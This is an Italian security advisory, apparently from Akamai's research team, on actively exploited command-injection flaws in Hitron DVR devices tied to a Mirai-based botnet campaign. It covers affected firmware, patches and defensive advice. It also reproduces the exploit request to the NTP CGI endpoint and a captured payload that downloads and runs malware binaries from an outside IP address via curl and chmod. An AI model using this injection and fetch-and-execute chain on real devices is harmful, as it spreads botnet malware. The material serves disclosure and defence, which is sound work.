Vulnerabilità sfruttata attivamente nei dispositivi Hitron DVR: correzioni e patch disponibili
Analisi riassuntiva
Il team SIRT (Security Intelligence Response Team) di Akamai ha pubblicato un ulteriore aggiornamento alla serie di raccomandazioni sulla campagna InfectedSlurs dopo il rilascio di linee guida e patch da parte di uno dei fornitori interessati.
A questa vulnerabilità, identificata in rete e presente nei dispositivi Hitron, sono stati assegnati i seguenti ID CVE:
CVE-2024-22768 ; è stato calcolato un CVSS v3.1 con un punteggio base di 7,4 ; la stringa del vettore CVSS è (AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H).
CVE-2024-22769 ; è stato calcolato un CVSS v3.1 con un punteggio base di 7,4 ; la stringa del vettore CVSS è (AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H).
CVE-2024-22770 ; è stato calcolato un CVSS v3.1 con un punteggio base di 7,4 ; la stringa del vettore CVSS è (AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H).
CVE-2024-22771 ; è stato calcolato un CVSS v3.1 con un punteggio base di 7,4 ; la stringa del vettore CVSS è (AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H).
CVE-2024-22772 ; è stato calcolato un CVSS v3.1 con un punteggio base di 7,4 ; la stringa del vettore CVSS è (AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H).
CVE-2024-23842 ; è stato calcolato un CVSS v3.1 con un punteggio base di 7,4 ; la stringa del vettore CVSS è (AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H).
I payload dannosi acquisiti in rete installano un malware basato su Mirai per creare una botnet DDoS (Distributed Denial-of-Service) .
Nella ricerca originale, abbiamo incluso un elenco completo degli indicatori di compromissione (IOC) e delle regole Snort e YARA per aiutare a identificare questi tentativi di sfruttamento in rete e a scoprire le possibili infezioni attive sulle reti dei sistemi di difesa.
Cosa dovete sapere
Nell'ambito del rilevamento di InfectedSlurs, il team Akamai SIRT ha scoperto alcune vulnerabilità in vari modelli di dispositivi Hitron DVR che vengono attivamente sfruttate in rete. I dispositivi Hitron sono stati prodotti nella Corea del Sud da Hitron Systems.
La vulnerabilità consente ad un criminale autenticato di sferrare un attacco di inserimento di comandi del sistema operativo (OS Command Injection) con un payload trasmesso tramite una richiesta POST all'interfaccia di gestione. Nella sua configurazione attuale, vengono utilizzate le credenziali predefinite del dispositivo nei payload acquisiti.
Le versioni firmware e i dispositivi interessati sono:
DVR HVR-4781: versioni 1.03 - 4.02
DVR HVR-8781: versioni 1.03 - 4.02
DVR HVR-16781: versioni 1.03 - 4.02
DVR LGUVR-4H: versioni 1.02 - 4.02
DVR LGUVR-8H: versioni 1.02 - 4.02
DVR LGUVR-16H: versioni 1.02 - 4.02
Il fornitore (Hitron Systems) ha rilasciato nuove versioni firmware per risolvere le vulnerabilità. Il fornitore suggerisce di aggiornare il firmware di tutti i modelli interessati alla versione ≥ 4.03 non appena possibile Sono stati pubblicati, inoltre, altri consigli da CISA e KISA. KISA ha anche pubblicato consigli relativi alle singole CVE, che si trovano ai seguenti collegamenti:
Rilevamento di uno sfruttamento
Alla fine di ottobre 2023, gli analisti del SIRT di Akamai hanno notato un'impennata nell'attività dei nostri honeypot che ha preso di mira una porta TCP raramente sfruttata. Gli attacchi sferrati con una bassa frequenza sembravano inizialmente tentare un'autenticazione tramite una richiesta POST al /cgi-bin/system_ntp.cgi (Figura 1), quindi, successivamente, tentavano uno sfruttamento di tipo command injection (Figura 2). I dispositivi Hitron Systems DVR presi di mira sono vulnerabili ad una RCE tramite command injection (Figura 3). Una volta effettuata l'autenticazione, il criminale prende di mira la vulnerabilità command injection presente nel parametro timeserver tramite una richiesta POST al /cgi-bin/system_ntp.cgi.
URL: /cgi-bin/system_ntp.cgi
POST BODY:
enc=11&ip=[targeted IP]&username=[REDACTED]&password=[REDACTED]
Figura 1. Tentativo di autenticazione
URL: /cgi-bin/system_ntp.cgi
POST BODY:
lang=ja&useNTPServer=1&synccheck=1&public=0×erver=[RCE
PAYLOAD]&interval=60&enableNTPServer=1
Figura 2. Tentativo di sfruttamento
curl+http://45.142.182.96/spl/mips+-O;+chmod+777+mips;+./mips+kdvr;curl+http://45.142.182.96/spl/x86+-O;+chmod+777+x86;+./x86+kdvr;curl+http://45.142.182.96/spl/mpsl+-O;+chmod+777+mpsl;+./mpsl+kdvr;curl+http://45.142.182.96/spl/arm+-O;+chmod+777+arm;+./arm+kdvr;curl+http://45.142.182.96/spl/arm5+-O;+chmod+777+arm5;+./arm5+kdvr;curl+http://45.142.182.96/spl/arm6+-O;+chmod+777+arm6;+./arm6+kdvr;curl+http/45.142.182.96/spl/arm7+-O;+chmod+777+arm7;+./arm7+kdvr
Figura 3. Payload RCE acquisito
Protezione
Gli utenti di dispositivi Hitron DVR interessati da questa vulnerabilità devono effettuare immediatamente l'aggiornamento all'ultima versione firmware disponibile (≥ 4.03) per risolvere la vulnerabilità RCE.
HVR-4781: versione 4.03
HVR-8781: versione 4.03
HVR-16781: versione 4.03
LGUVR-4H: versione 4.03
LGUVR-8H: versione 4.03
LGUVR-16H: versione 4.03
Inoltre, per proteggersi da questa minaccia e da altre minacce in futuro, è consigliabile implementare diverse misure di sicurezza. Innanzitutto, le organizzazioni e i singoli utenti che utilizzano i dispositivi interessati devono cambiare immediatamente le credenziali di accesso predefinite per motivi di sicurezza. Monitorare regolarmente i registri e il traffico di rete può aiutare a rilevare tempestivamente eventuali attività sospette. Una tempestiva installazione di aggiornamenti e patch di sicurezza forniti dal produttore del dispositivi è fondamentale per risolvere la vulnerabilità identificata.
La collaborazione con ricercatori della sicurezza, provider di servizi di intelligence sulle minacce e altre aziende del settore può aiutarvi a tenervi aggiornati sulle vulnerabilità e sulle minacce emergenti. Infine, mantenere un inventario aggiornato dei dispositivi connessi e implementare la segmentazione della rete possono limitare il potenziale impatto di tali attacchi.
Conclusione
Per risolvere i problemi di sicurezza identificati nei sistemi Hitron e nei dispositivi associati, è richiesto un approccio multiforme, che combina consapevolezza degli utenti, tempestiva applicazione di patch, monitoraggio proattivo e collaborazione all'interno della comunità della cybersicurezza. Con l'adozione di queste misure, le organizzazioni e i singoli individui possono ridurre notevolmente i rischi posti dall'attività dannosa che è stata osservata.
Tenetevi al passo
Per tenervi aggiornati sulle minacce e sugli altri risultati forniti dal SIRT e da altri gruppi di ricerca sulla sicurezza di Akamai, seguiteci su X (in precedenza, Twitter) o date un'occhiata al nostro hub SIG.
Il team SIRT di Akamai desidera ringraziare tutti in CISA, US-CERT e KISA per la loro assistenza nella segnalazione di queste vulnerabilità ai fornitori.
